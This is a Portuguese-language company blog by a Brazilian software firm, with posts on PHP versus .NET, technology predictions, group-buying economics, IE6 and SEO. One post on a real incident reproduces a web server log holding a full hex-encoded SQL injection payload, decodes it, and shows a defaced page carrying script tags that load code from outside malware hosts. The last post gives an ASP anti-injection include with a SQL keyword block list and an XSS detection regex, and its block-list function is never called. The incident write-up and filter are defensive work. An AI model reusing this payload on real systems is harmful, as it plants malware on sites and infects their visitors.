Postado por: Raphael Cangucu
Essa é uma pergunta frequente que nossos clientes nos pergutam a respeito das tecnologias usadas para desenvolver suas soluções.
E respondemos que tecnicamente (quando olhamos detalhes de conceito) não enxergamos diferenças que possam impactar a escolha de uma ou outra linguagem de programação, pois ambas são orientadas a objetos, possuem excelentes frameworks de desenvolvimentos, as duas escalam, um detalhe ou outro de diferença.
O PHP abre margem maior para que profissionais ruins façam coisas ruins. Mas bons profissionais conseguem os mesmos resultados nas duas ferramentas e profissionais ruins conseguem fazer “cagada” com a melhor ferramenta do mundo.
Enfim, vou explicar que além de ser uma escolha meramente técnica ela é também ancorada financeiramente e impacta diretamente nos custos de um projeto, para isso citarei alguns pontos que nos guiam a escolher a arquitetura LAMP (Linux Apache Mysql PHP) ao invés da arquitetura Microsoft:
- Menor custo da Mão de Obra
- Menor tempo de desenvolvimento
- Menor custo de DataCenter
- Escalabilidade futura acessível e barata
Muitas pessoas por não conhecerem bem de tecnologia, costumam ter receios a respeito da linguagem de programação PHP, mas esquecem que:
- É a linguagem WEB mais usada por desenvolvedores
- Consequentemente é a maior comunidade de desenvolvimento e a que mais tem inovações
- O Facebook e o Yahoo foram feitos em cima do PHP e MYSQL
- O Twitter migrou sua linguagem nativa para o PHP por questões de escalabilidade
- A Wikipedia, maior enciclopédia do mundo, é feita usando PHP e MYSQL
- A maior rede de blogs do mundo, o WordPress é feito usando PHP
Eu costumo dizer que linguagem é somente ferramenta e nós apesar de termos projetos em ASP.NET, Ruby, ASP 3, Java, escolhemos o PHP5 como nossa linguagem padrão de desenvolvimento boa parte pelos itens citados acima.
Seguem algumas referências que balizam nossa opinião:
http://www.davidhurst.co.uk/2009/02/25/famous-websites-that-use-php-andor-mysql/
http://www.techenclave.com/programming/php-architectures-power-your-favourite-big-98227.html
http://www.oreillynet.com/onlamp/blog/2006/04/digg_phps_scalability_and_perf.html
http://www.sitepoint.com/why-php-scales/
http://talks.php.net/show/lt2004-lamp/
http://public.yahoo.com/bfrance/radwin/talks/one-year-of-php-oscon2003.htm
http://www.niallkennedy.com/blog/2004/10/flickr-architec.html
http://www.royans.net/arch/facebook-internals/
http://royal.pingdom.com/2007/02/26/what-the-webs-most-popular-sites-are-running-on/
http://royal.pingdom.com/royalfiles/0702_infrastructure_matrix.pdf
Abraços.
.26/07/2011
Previsões tecnológicas
Postado por: Thiago Alberto

Nascido em 2008, o conceito é definido basicamente pelo crescente número de aparelhos que estarão conectados à grande rede. Para o grupo de internet da Cisco, até 2020, 50 bilhões de dispositivos terão acesso à web, algo como seis por pessoa.

A capacidade de armazenamento de cinco exabytes foi criada em 2008, o equivalente a um bilhão de DVDs. Três anos mais tarde, diz o futurista, o montante de informação criada era de 1,2 zettabytes. Muita da informação criada neste momento já é multimídia, a previsão é que em 2014 90% do tráfego na web seja vídeo. Assim, a era do zettaflood demandará muito das redes.

Até 2020, a previsão é que ao menos um terço dos dados estejam abrigados ou passem por uma nuvem. Até 2014, o gasto de TI em inovação e cloud computing deve chegar a US$ 1 bilhão. Para as empresas, aconselha, é importante entender que esses ambientes são bons apenas se o ambiente de rede der o suporte adequado.

O futurista usa sua própria casa como exemplo e diz que, desde 1990, a velocidade da conexão aumentou 170 mil vezes. Nos próximos dez anos, acredita que isso crescerá três milhões de vezes.

Com aumento da velocidade, melhora da comunicação e recursos disponíveis, as pessoas estão progredindo mais rapidamente. As revoltas árabes são exemplos do engajamento que pode ocorrer com o avanço da tecnologia. Tivemos ainda os alertas de Tsunami na costa norte-americana após o terremoto do Japão. Com esses eventos, a captura, disseminação e consumo das histórias ao vivo torna tudo em tempo real e mais próximo. Temos aí três pontos: banda larga móvel, internet e produção a qualquer hora e em qualquer lugar.

Com o crescimento populacional e também da urbanização, cidades com um milhão de habitantes serão criadas a cada mês nas próximas duas décadas. Isso trará demandas imensas, inclusive energéticas. Mas algumas respostas existem. A energia solar é algo que poderá ajudar muito.

Temos sempre nos adaptado às tecnologias. No futuro, isso irá mudar, elas se adaptarão aos nossos estilos. A última fronteira de integração serão as interfaces de máquinas cerebrais que, eventualmente, permitirão às pessoas com lesão na medula ter uma vida normal.

Temos assistido a um grande progresso do mundo físico para o virtual. Antes, comprávamos DVDs, cds, livros. Hoje tudo é baixado nos computadores e outros dispositivos com acesso à internet. Algo que tem crescido também é a impressão 3D. Num futuro não tão distante, eles acreditam que será possível imprimir órgãos humanos.

Os avanços tecnológicos têm permitido a criação de entidades artificiais. Caracteres automáticos podem reconhecer voz e fazer projeções. Além disso, temos o avanço da robótica. Até 2020, os robôs serão superiores aos humanos. Acredita-se ainda que até 2025 a população de robôs vai ultrapassar a de humanos no mundo desenvolvido, para, em 2035, substituir os humanos enquanto força de trabalho.

Temos cruzado o limite da descoberta e nos tornamos mestres de nosso próprio destino. Somos praticamente o sol de nossos átomos e rapidamente estamos ganhando o controle sobre eles. De acordo com Stephen Hawking, ‘os humanos estão iniciando o estágio de uma evolução auto-concebida’. Essas tendências são apenas para nos lembrar o quão bom é o mundo e, assim, temos sempre que responder a questão: estamos prontos?
Postado por: Raphael Cangucu
Nesses últimos dias, a mídia especializada em tecnologia, principalmente a internacioal como o TechCrunch, Mashable e outras, vem traçando inúmeras e fortes críticas ao maior player desse mercado, o Groupon.
Tais críticas se apimentaram ainda mais com o lançamento do Google Offer’s e Facebook Deals, que é mais um “clone” dos sites de compras coletivas, só que feito pela GIGANTE Google. E o principal motivo das críticas é a sustentabilidade do modelo de negócios empregado em sistemas de compras coletivas.
Para quem ainda não está familiarizado, segue abaixo um esquema, que nós da Codificar, fizemos para o Educação Coletiva, que um portal de compras coletivas voltada para a Educação a Distância, e depois explicarei por que o nosso portal não cai nessa falha estrutural do modelo de negócios.
Os usuários compram no site de compras coletivas, com descontos geralmente maiores que 50%, pagam através de um intermediador de pagamento que descontom em média 5% do valor de venda, ou sites maiores através de cartão de crédito, desse valor restante há uma comissão de 30%, em sites como Groupon ou Peixe Urbanos, a comissão pode chegar e ultrapassar a taxa de 50%, e o que resta é voltado ao parceiro, o “dono” original do produto ou serviço oferecido no site de compras coletivas.
Vamos a dados práticos, suponha uma oferta de uma Chapa de Picanha com 5 chops tenha o valor original de R$ 60,00. Ao divulgar num site de compra coletivas, foi ofertado um desconto de 60% , num valor de R$ 24,00, assim a cada venda realizada o parceiro receberá 50% dessa oferta, um montante de apenas R$ 12,00 por venda confirmada, deixando assim de entrar em seu fluxo de caixa R$ 48,00 ou um desconto total de 80%.
Caso ele venda 500 unidades, ele irá receber o total de R$ 6.000,00 quando se vendesse em seu estabelecimento faturaria R$ 30.000,00. Tal valor para um comerciante local é um absurdo e com certeza seu fluxo de caixa ficará prejudicado e como muitas vezes já aconteceu, o atendimento será péssimo durante os dias de validade da promoção, pois teremos uma imensa quantidade de consumidores ávidos por um bom serviço e barato e provavelmente não encontraram isso.
No exemplo citado, temos um limite da margem de contribuição do serviço, pois os custos fixo e variado tem pouca diminuição quando é vendido grandes quantidades, pois o preço da picanha é não irá variar muito, muito menos o do chopp, fora que os custos de infra-estrutura somente irão aumentar.
Agora gostaria de deixar claro que essa conta é prejudicial quando estamos tratando de comércio local, onde as margens são pequenas e apertadas devido fatores citados acima, mais a concorrência. Mas falando de serviços e produtos de alto valor agregado, a regra de ouro que quanto mais pessoas comprarem, a margem pode ser diminuida obtendo-se lucros efetivos é extremanente válida.
Vamos pegar agora o exemplo de Educação a Distância, que é o caso do nosso projeto o Educação Coletiva. Geralmente os cursos e suas aulas já estão disponíveis na plataforma do cliente, com um custo fixo determinado para suportar uma boa quantidade de alunos, assim, a medida que as vendas são maximizadas pela coletividade, as vendas em grupo e em grande volume possibilitam a ampliação de lucros na venda por quantidade, pois temos a limitação natural dos custos, sendo que o custo inicial de produção do conteúdo provavelmente já foi investido em outra ocasião.
Então meus caros, é por isso que está havendo esse burburinho em torno das grandes empresas de compras coletivas, que durante a crise foram extremamente interessante aos consumidores e comerciantes, mas que agora, praticam taxas exorbitantes ao comerciante local.
Pensando nisso, até que dá uma vontade de mobilizar a Codificar para fazer uma plataforma JUSTA de Compras Coletivas, que pense no parceiro e pratique valores percentuais justos aos mesmos.
.18/06/2010
Manual do Magento E-Commerce em Português
Postado por: Raphael Cangucu
Prezados,
Há um tempo atrás, um de nossos colaboradores, o Luiz Ernani, produziu um excelente manual de uso do Magento, uma ferramenta de comércio eletrônico de código livre ( open source ) .
O Magento é uma das soluções livres “matadoras”, bastante completa, otimizada para máquinas de buscas, completamente customizável e com uma programação técnica extramente robusta.
Lembrando também que a Codificar tem experiência em sua implantação e customização, disponibilizando módulos de cálculo de frete integrado com os Correios e integração com pagamentos eletrônicos como PagSeguro, PagamentoDigital, Visa e Master (Komerci).
Abaixo seguem os links para download dos manuais de administrador e usuário:
Ou se preferirem o download direto:
Façam bom proveito,
.28/04/2010
A importância de um BOM SITE
Postado por: Raphael Cangucu
.28/03/2010
Internet Explorer 6 – involução na internet
Postado por: Raphael Cangucu
Há muito tempo os designers e programadores de frontend vem fazendo milagres para tornar sites e sistemas web compatíveis com o navegador internet explorer 6. Isso tem encarecido os projetos web e também diminuido o uso de novas tecnologias e inovações como o CSS3 e o HTML5.
Vejam o que o hitler teria a dizer sobre o ie6. Cômico demais!!!
Dado esses fatores contra esse navegador muitas empresas vem adotando políticas contra o seu uso. Nós, na Codificar, temos orientado nossos clientes a se atualizarem e os convencemos com um argumento bastante simples: O seu projeto terá um custo maior se for compatível com IE6.
Vejam outras iniciativas como:
Funeral do IE6 – http://ie6funeral.com/ , feito pela Atten Design Group e até a Microsoft enviou uma carta de condolências.
IE 6 deve morrer – http://twibbon.com/join/IE6-Must-Die , uma campanha encampada por desenvolvedores web, webdesigners e profissionais da área usando o twitter.
Enfim, o IE6 deve realmente acabar e dá espaço para as inovações. Sugerimos que usem navegadores como o Firefox, Google Chrome e o IE8.
Postado por: Raphael Cangucu
Antigamente a porta da sua empresa para desconhecidos era as páginas amarelas, e hoje?
Hoje, ninguém recebe mais aquele calhamaço de páginas de propaganda e se receber, certamente não terá a mesma efetividade do passado.
Hoje as pessoas vão para internet procurar saber quem você é, o que tem para oferecer e a internet é a porta de entrada da sua empresa.
É lá que elas vão procurar saber o que você faz, o que vende!
Por isto, seu site deve ser bem visto na Internet, precisa ser facilmente localizado e para tanto a Codificar oferece uma completa assessoria, atuando desde a divulgação até a melhoria da parte tecnológica do seu site.
Adotamos as seguintes estratégias para atingir os objetivos expostos:
“Otimização do código-fonte ” – metatags (parâmetros especiais), url’s amigáveis
“Cadastro em motores de busca” – + 200
“Referências em sites de diretórios “
“Referências em sites de parceiros do cliente “
Postado por: Raphael Cangucu
Hoje eu estava navegando nas páginas da PBH procurando um sistema web para reemissão de alvará de funcionamento para anos anteriores , pois desde que assumimos a Codificar (antiga Tecnocom) em 2007 nunca nos notificaram que existia uma pendência na Taxa de Incêndio de 2004. Pendência aliás que está com um valor incorreto, pois as dimensões da empresa estão completamente erradas, quase 10x maior que a verdadeira.
Enfim vamos ao que interessa. Um erro muito comum e cometido por desenvolvedores menos experientes, ou ainda desorganizados é a permissividade de inserção de código malicioso via métodos get e post do protocolo HTTP. Ambos os métodos permitem que uma página web troque informações com um servidor web através de variáveis textuais de maneira muito simples e fácil. Contudo fica como obrigação do desenvolvedor tratar o recebimento dessas variáveis que muitas vezes podem conter código malicioso.
Em linguagens de programação mais modernas e melhores encapsuladas, ou ainda em frameworks que modernizam e melhoram certas LP’s há tratamento destes inputs, coibindo assim o ataque ao site.
O erro que vi no site da PBH já aconteceu alguns de nossos clientes que possuem sites/sistemas desenvolvidos em Linguagem de Programação ASP. Diga-se de passagem que não fomos nós da Codificar que desenvolvemos os sites/sistemas de nossos clientes, somente assumimos a manutenção quando o CIRCO já estava pegando fogo.
Geralmente o erro é explorado da seguinte forma:
- Site vulnerável em ASP
- Componentes de MDAC desatualizados no servidor windows
- Código malicioso inserido por SQL INJECTION utilizando valores hexadecimais que traduzidos correspodem a declaração de um cursor que vai em todos os campos textuais do banco de dados SQL Server e concatenam o código indevido.
Tal erro, além de ser uma falha de programação é também um erro em alguns componentes windows (item 2 acima) que não me lembro bem, mas na época em que ocorreu isso em 2 de nossos clientes que estavam hospedados na locaweb, indicamos a atualização dos mesmos ao suporte da locaweb.
Veja como o ataque é realizado através do log do servidor web onde um cliente da Codificar recebeu esse ataque:
2008-05-27 03:02:11 W3SVC13927 PLESKWIN12 200.23X.XXX.XXX GET /page.asp intIndex=85;DECLARE%20@S%
20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E61647739352E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));
EX3C(@S);– 80 – 77.237.76.98 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) – - www.CLIENTE-CODIFICAR.com.br 200 0 64 0 1413 49151
Segundo o MAXMIND.com site que possui serviços de georeferenciamento de IP’s, o IP 77.237.76.98 está localizado no IRAN:
| Hostname | Country Code | Country Name | Region | Region Name | City | Postal Code | Latitude | Longitude | ISP | Organization | Metro Code | Area Code |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 77.237.76.98 | IR | Iran, Islamic Republic of | 05 | Kohkiluyeh va Buyer Ahmadi | Gachsaran | 30.3586 | 50.7981 | Respina Networks & Beyond | Respina Networks & Beyond |
Pegando esse trecho em HEXA e transformado para ASCII temos:
DECLARE @T VARCHAR(255)"@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name"b.name FROM sysobjects a"syscolumns b WHERE a.id=b.id AND a.xtype="u" AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T"@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC("UPDATE ["+@T+"] SET ["+@C+"]=RTRIM(CONVERT( VARCHAR(4000)"["+@C+"]))+""<scrip_t src=http://www_adw_95_com/_b.js></fechascript>""") FETCH NEXT FROM Table_Cursor INTO @T"@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Em tempo de execução da página web esse código é executado alterando todos textos do banco de dados.
Veja como ficou a página afetada da PBH. (http://www.fazenda.pbh.gov.br/internet/pesquisas/consultas/resultado.asp?BuscaPalavra=alvar%E1&TipoBusca=A)
<table width="100%"> <tbody> <tr> <td colspan="2" width="100%" height="22" align="left" valign="top"> <hr size="1" noshade="noshade" /> </td> </tr> <tr> <td width="15%" height="22" align="left" valign="top"><span style="color: #000000; font-family: Arial; font-size: x-small;"><strong>013/2002<script src="http://www.chinabnr.com/b.js"></script><script src="http://www.bnradw.com/b.js"></script> </strong></span><strong> </strong></td> <td width="80%" height="22" align="left" valign="top"><span style="color: #000000; font-family: Arial; font-size: x-small;">"ISSQN - PROFISSIONAIS AUTÔNOMOS - OBRIGAÇÕES TRIBUTÁRIAS.Os profissionais autônomos, salvo os isentos do ISSQN, que exercerem suas atividades no território do Município, devem inscrever-se no cadastro mobiliário de contribuintes, recolher o ISSQN devido e comunicar as alterações cadastrais de interesse do fisco, inclusive o encerramento das atividades. Podem sujeitar-se ainda à incidência da Taxa de Fiscalização de Anúncios, se proprietário de engenho de divulgação de publicidade, e da Taxa de Fiscalização Sanitária, caso exerçam atividades que devam submeter-se à fiscalização específica.<script src="http://www.china_bnr_com/b_js">// <![CDATA[ </fecchascript><script src-"http://www_bnradw_com-b-js"> // ]]></script>"</span></td> <td width="5%" height="22" align="left" valign="top"><span style="color: #000000; font-family: Arial; font-size: x-small;"><a onmouseover="MM_swapImage('Image791','','../../../dividativa/avanca_on.gif',1)" onmouseout="MM_swapImgRestore()" href="resultadoaction.asp?Bookmark=2&BuscaPalavra=alvar%C3%A1&TipoBusca=A"><img src="../../../dividativa/avanca.gif" border="0" alt="" width="16" height="16" /></a></span> </td> </tr> </tbody> </table>
Caso tenha um bom anti-virus e peça para visualizar o código fonte dessa página ou ainda entrar na pasta de cache do seu navegar ele irá acusar a presença do código malicioso.
Anteriormente já tinhamos anunciado a solução aqui em nosso blog:
- Coloque / inclua o script ASP fix_injection nos arquivos que fazem comunicação com o banco de dados, veja o código no post ASP – ANTI SQL INJECTION.
- Caso não houve perda dos dados dos campos textuais, use o script SQL de Busca e substituição postado em SEARCH AND REPLACE T-SQL.
Foi enviado um email para webmaster@pbh.gov.br com o link deste post para correção dos erros.
Caso não consiga solucionar o problema , ou possui problemas parecidos com esse de difícil solução em seu sistema/site entre em contato com a Codificar e peça um orçamento através do nosso formulário de contato.
Atenciosamente,
Raphael Canguçu.
.26/05/2008
ASP – ANTI-SQL INJECTION
Postado por: Raphael Cangucu
Abaixo segue um script para a linguagem ASP – CLASSIC.
Esse arquivo deve ser incluído dentro do arquivo onde é feita a conexão do banco de dados, ou em um include global.
fix_injection.asp
<%
‘ fix_injection.asp
‘
‘ Author: Nazim Lala, Codificar (http://www.codificar.com.br)
‘ Modified Date: 26-05-2008
‘ This is the include file to use with your asp pages to
‘ validate input for SQL injection.
Dim BlackList, ErrorPage
‘
‘ Below is a black list that will block certain SQL commands and
‘ sequences used in SQL injection will help with i\0 putaput sanitization
‘
‘ However this is may not suffice, because:
‘ 1) These might not cover all the cases (like encoded characters)
‘ 2) This may disallow legitimate input
‘
‘ Creating a raw sql query strings by concatenating user input is
‘ unsafe programming practice. It is advised that you use parameterized
‘ SQL instead. Check http://support.microsoft.com/kb/q164485/ for information
‘ on how to do this using ADO from ASP.
‘
‘ Moreover, you need to also implement a white list for your parameters.
‘ For example, if you are expecting input for a zipcode you should create
‘ a validation rule that will only allow 5 characters in [0-9].
‘
BlackList = Array(“–”, “;”, “/*”, “*/”, “@@”, “@”,_
“char”, “nchar”, “varchar”, “nvarchar”,_
“alter”, “begin”, “cast”, “create”, “cursor”,_
“declare”, “delete”, “drop”, “end”, “exec”,_
“execute”, “fetch”, “insert”, “kill”, “open”,_
“select”, “sys”, “sysobjects”, “syscolumns”,_
“table”, “update”)
‘ Populate the error page you want to redirect to in case the
‘ check fails.
ErrorPage = “/fix_injection/error_page.asp”
”””””””””””””””””””””””””’
‘ This function does not check for encoded characters
‘ since we do not know the form of encoding your application
‘ uses. Add the appropriate logic to deal with encoded characters
‘ in here
”””””””””””””””””””””””””’
Function CheckStringForSQL(str)
On Error Resume Next
Dim lstr
‘ If the string is empty, return true
If ( IsEmpty(str) ) Then
CheckStringForSQL = false
Exit Function
ElseIf ( StrComp(str, “”) = 0 ) Then
CheckStringForSQL = false
Exit Function
End If
lstr = LCase(str)
‘ Check if the string contains any patterns in our
‘ black list
For Each s in BlackList
If ( InStr (lstr, s) <> 0 ) Then
CheckStringForSQL = true
Exit Function
End If
Next
CheckStringForSQL = false
End Function
Public Function CheckString (strEntrada)
Dim objRegExp
Set objRegExp = Server.CreateObject(“VBScript.RegExp”)
Dim strExpressao
strExpressao = “(<\s*/*(script|object|applet|embed|form|img)\s*.*>)” ‘< [/] script ou object ou applet ou embed ou form >
strExpressao = strExpressao & “|” & “(\s+eval\s*\()” ‘ EVAL(
strExpressao = strExpressao & “|” & “(\s+event\s*=)” ‘ Event=
strExpressao = Replace(strExpressao, “<”, “(<|%60|<)”) ‘Garantir < ou < em HTML ENCODE
strExpressao = Replace(strExpressao, “>”, “(>|%62|>)”) ‘Garantir > ou > em HTML ENCODE
objRegExp.IgnoreCase = True ‘Ignorar caixa “ALTA” ou “baixa”
objRegExp.Global = False ‘Para na hora que encontrar (velocidade)
objRegExp.Pattern = strExpressao ‘Define a expressão
CheckString = objRegExp.Test(strEntrada) ‘testa
Set objRegExp = Nothing
End Function
”””””””””””””””””””””””””’
‘ Check forms data
”””””””””””””””””””””””””’
Dim s
For Each s in Request.Form
If ( CheckString(Request.Form(s)) ) Then
‘ Redirect to an error page
Response.Redirect(ErrorPage)
End If
Next
”””””””””””””””””””””””””’
‘ Check query string
”””””””””””””””””””””””””’
For Each s in Request.QueryString
If ( CheckString(Request.QueryString(s)) ) Then
‘ Redirect to error page
Response.Redirect(ErrorPage)
End If
Next
”””””””””””””””””””””””””’
‘ Check cookies
”””””””””””””””””””””””””’
For Each s in Request.Cookies
If ( CheckString(Request.Cookies(s)) ) Then
‘ Redirect to error page
Response.Redirect(ErrorPage)
End If
Next
”””””””””””””””””””””””””’
‘ Add additional checks for input that your application
‘ uses. (for example various request headers your app
‘ might use)
”””””””””””””””””””””””””’
%>
error_page.asp
<%@LANGUAGE=”VBSCRIPT” CODEPAGE=”65001″%>
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>SQL INJECTION</title>
<style type=”text/css”>
<!–
.style1 {color: #FF0000}
–>
</style>
</head>
<body>
<h1 class=”style1″>Tentativa de exploração de falha de segurança!!!</h1>
<p class=”style1″>Verifique os dados inseridos.</p>
</body>
</html>
os Arquivos fix_injection.




